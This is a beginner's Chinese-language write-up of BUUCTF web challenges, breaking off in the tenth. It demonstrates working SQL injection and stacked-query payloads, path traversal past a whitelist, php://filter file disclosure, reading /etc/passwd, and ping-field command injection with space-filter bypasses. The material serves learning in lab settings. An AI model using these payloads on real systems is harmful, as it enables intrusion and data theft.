今天学习了一下web感觉受益匪浅,小做几道题练练手,纯新手勿喷
————————————————————————————————————————————
第一题:[极客大挑战 2019]EasySQL
首先思考的便是最简单的登录绕过。
在逻辑上面,当点击登录按钮后会取你输入框的值与数据库中进行对比。
select * from user where username='admin' and password ='admin'
登录绕过是最基础的,就是要将这句SQL语句给屏蔽掉,进而让此语句的执行结果始终为真。
输入下面万能密码
' or '1'='1
当执行此语句时 ,就会变成`
select * from user where username='admin' and password ='admin' or '1'='1'
此时的 1=1 恒为真,在 或 状态下有一个为真则始终为真,此时可绕过登录。
得到flag。
除了万能密码之外,还有万能账号,如下
admin' or 1=1#
在执行之后,sql语句如下所示:
select * from user where username='admin' or 1=1# and password ='admin'
此时,#会注释掉and后面的内容,而由于1=1始终为真,此时也可绕过登录。
得到的flag如下。
————————————————————————————————————————————
第二题:WarmUp
题目如下:
首先 , F12查看一下源代码,发现里面告知了有一个PHP文件。
打开下面的source.php 可以看到一段代码。
根据上图我们发现还有一个提示叫hint.php,打开看一下,发现有这样一段提示。
再返回到上一个source.php页面,分析代码,发现以下几点内容:
1.看到最后面有一张图片,发现这下面有一段链接,保存复制后发现就是那个滑稽的表情,证明此处是if函数并未满足前面的一个条件,所以才输出了该图片。
2.重点分析此段代码。
if (! empty($_REQUEST['file']) //检查变量是否为空,应不能为空
&& is_string($_REQUEST['file']) //判断是否为字符串,应为字符串
&& emmm::checkFile($_REQUEST['file']) //调用checkFile函数,应返回为true
) {
include $_REQUEST['file']; //此处有文件
exit;
}
3.上述提到了checkFile函数,所以此处也要分析一下。
highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//输出"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}
$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?') //phpMyAdmin 4.8.0和4.8.1远程文件包含漏洞
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
上述四个if分别表示:
①判断是否为字符串。
②判断
p
a
g
e
是
否
在
page是否在
page是否在whitelist数组中
③截取
p
a
g
e
中
′
?
′
前
一
部
分
,
判
断
是
否
在
page中'?'前一部分,判断是否在
page中′?′前一部分,判断是否在whitelist数组中
④判断url解码并截取后的
p
a
g
e
是
否
存
在
于
page是否存在于
page是否存在于whitelist中
4.在上述的第四个if语句中,我们可以通过先对?进行2次url编码,此时服务端解码一次,checkFile函数解码一次,结果仍是’?',可以绕过。
5.根据hint.php中的提示,ffffllllaaaagggg有四层,由此可以推断出前面有四层目录。
6.先构造能够正常打开file文件的语句
source.php?file=hint.php?
此时可以看到图片已经没了
然后将ffffllllaaaagggg加进去,注意此时有四层,所以payload应该构造如下所示:
source.php?file=hint.php?/../../../../ffffllllaaaagggg
可以得到flag,调整一下语句,把source.php给去掉。
http://URL/?file=hint.php?/../../../../ffffllllaaaagggg
此时则直接进入到该文件中。
————————————————————————————————————————————
第三题:Havefun
一只猫,点来点去没反应,看看F12吧。
果然,给出了提示。
意思是需要给出一个get变量,如果给出的变量是cat=dog的话就会输出后面那个东西,看格式估计是flag了。
构造如下:
http://URL/?cat=dog
果然,得到flag。
————————————————————————————————————————————
第四题:Include
看到当?file=flag.php
时,页面返回Can you find out the flag。先输入?file=/etc/passwd,确认一下有没有返回,是否真的有文件包含的漏洞。
看到确实存在文件包含漏洞,但目前又没有其他的信息。
所以此处需要使用到伪协议。
先尝试第一种方式,构造?file=php://filter/resource=index.php
,发现没有回显。
再尝试构造第二种方式,?file=php://filter/read=convert.base64-encode/resource=index.php
,发现有回显。
将得到的base64加密丢去解密,解密出来发现如下:
<meta charset="utf8">
<?php
error_reporting(0);
$file = $_GET["file"];
if(stristr($file,"php://input") || stristr($file,"zip://") || stristr($file,"phar://") || stristr($file,"data:")){
exit('hacker!');
}
if($file){
include($file);
}else{
echo '<a href="?file=flag.php">tips</a>';
}
?>
发现并没有过滤我们这个文件头,大胆的修改为?file=php://filter/convert.base64-encode/resource=flag.php
,得到一串base64加密的字符串。
解密得到flag。
————————————————————————————————————————————
第五题:随便注
先顺着几个数字试一下。。。。。
只有这两个可以看到内容,后面的数字都不行了。
首先尝试一下万能注入,发现有三部分内容。
1' or 1=1 #
然后开始测试字段数,当字段数为3时会报错,说明此处只有2个字段。
1' order by 1 #
接着尝试使用union select 爆字段,回显了过滤的关键字。
1' union select 1,2#
发现上面的关键字都被过滤不能使用了,没法进行注入,这个时候尝试一下堆叠注入。
利用堆叠注入,查询所有数据库。原理很简单,就是通过 ; 号注入多条SQL语句。 前面一句执行完后再执行后面的show databases
。
0'; show databases; #
然后用 show tables 尝试爆表。
0'; show tables; #
可以看到这里有两个表,我们先尝试爆words表的内容,再尝试爆数字表的内容。
1'; show columns from words; #
1';show columns from `1919810931114514`;
借鉴别人。
1,通过 rename 先把 words 表改名为其他的表名。
2,把 1919810931114514 表的名字改为 words 。
3,给新 words 表添加新的列名 id 。
4,将 flag 改名为 data 。
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
得到flag{8e58f44c-b7a1-484e-8954-3193fc54e7a9}。
————————————————————————————————————————————
第六题:[ACTF2020 新生赛]Exec
先试一下ping 127.0.0.1,发现可以ping通。
输入
127.0.0.1| ls /
,尝试查看根目录下的子目录,发现可以。
发现有flag,直接进入到flag目录下面去读他的内容,127.0.0.1| cat /flag
————————————————————————————————————————————
第七题:[SUCTF 2019]EasySQL
与前面一题有一些类似,所以首先尝试一下堆叠注入,1;show databases;
发现可以爆出数据库名,flag肯定就是放在ctf这个库下面的。
接下来尝试爆破数据表,1;show tables;
发现有两个表
尝试直接读一下flag里面的列,1;show columns from Flag;
,发现被拒绝了。
再尝试一下1;select flag from Flag;
,果然还是被拒绝了,肯定是关键词flag被屏蔽掉了。
不会了,看大佬的文章去了。
这道题目需要我们去对后端语句进行猜解
1、输入非零数字得到的回显1和输入其余字符得不到回显=>来判断出内部的查询语句可能存在有||
2、也就是select 输入的数据||内置的一个列名 from 表名=>即为
后台语句为:select $post['query']||flag from Flag
所以我们要解决的问题是 || 或这个问题
测试语句:1;set sql_mode=PIPES_AS_CONCAT;select 1
拼接效果为:select 1;set sql_mode=PIPES_AS_CONCAT;select 1||flag from Flag
所以说
第一种解法:1;set sql_mode=PIPES_AS_CONCAT;select 1
,其中set sql_mode=pipes_as_concat
是将||的作用由or变为拼接字符串
第二种解法:*,1
,也就是 select $_post['query']||flag from Flag
中$_post['query']
换成*,1
,也就变成了select *,1||flag from Flag
这样就可以输出flag了
————————————————————————————————————————————
第八题:[极客大挑战 2019]Secret File
首先直接F12查看源代码,应该可以找到蛛丝马迹。
进去后看到一个secret,点击进去。
发现显示的是直接查阅结束了,中间肯定有一个页面被直接给跳过去了,用BP抓包看看。
抓到了,进去看看。
看到了一段源代码,提示flag在flag.php里面。
直接查看flag.php看一看,发现换了个页面,但是里面内容还是看不到。
尝试伪协议,打开hackbar输入下面地址:
http://URL/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php
得到flag如下:
开始进行base64解码,得到一段源码。
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{4506defa-c6d2-4a9d-b04e-f58997d32ac5}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
提交flag即可。
————————————————————————————————————————————
第九题:[GXYCTF2019]Ping Ping Ping
先尝试ping一下127.0.0.1,发现有回显。
然后直接尝试查看子目录,发现好像符号被过滤掉了。
http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls /
再直接试一下不加符号的,发现对空格好像也有屏蔽。
http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1| ls
http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|ls
绕过空格屏蔽可采用以下方法。
$IFS
${IFS}
$IFS$1 //可以是任意数字
<
<>
{cat,flag.php}
%20
%09
直接查看flag,发现flag也被屏蔽了。。。。
没办法了,只有从index开始下手。
http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1index.php
屏蔽了以上符号,不过我们可以钻一下符号的漏。
http://c0e3e9a7-bd65-4fe5-a322-fe3a28064bf5.node4.buuoj.cn:81/?ip=127.0.0.1|cat$IFS$1`ls`
成功找到flag。
————————————————————————————————————————————
第十题:[极客大挑战 2019]LoveSQL
首先尝试一下万能注入,提示给出了密码。
在线的MD5解密解不出来,丢到自己的MD5爆破脚本去试一下。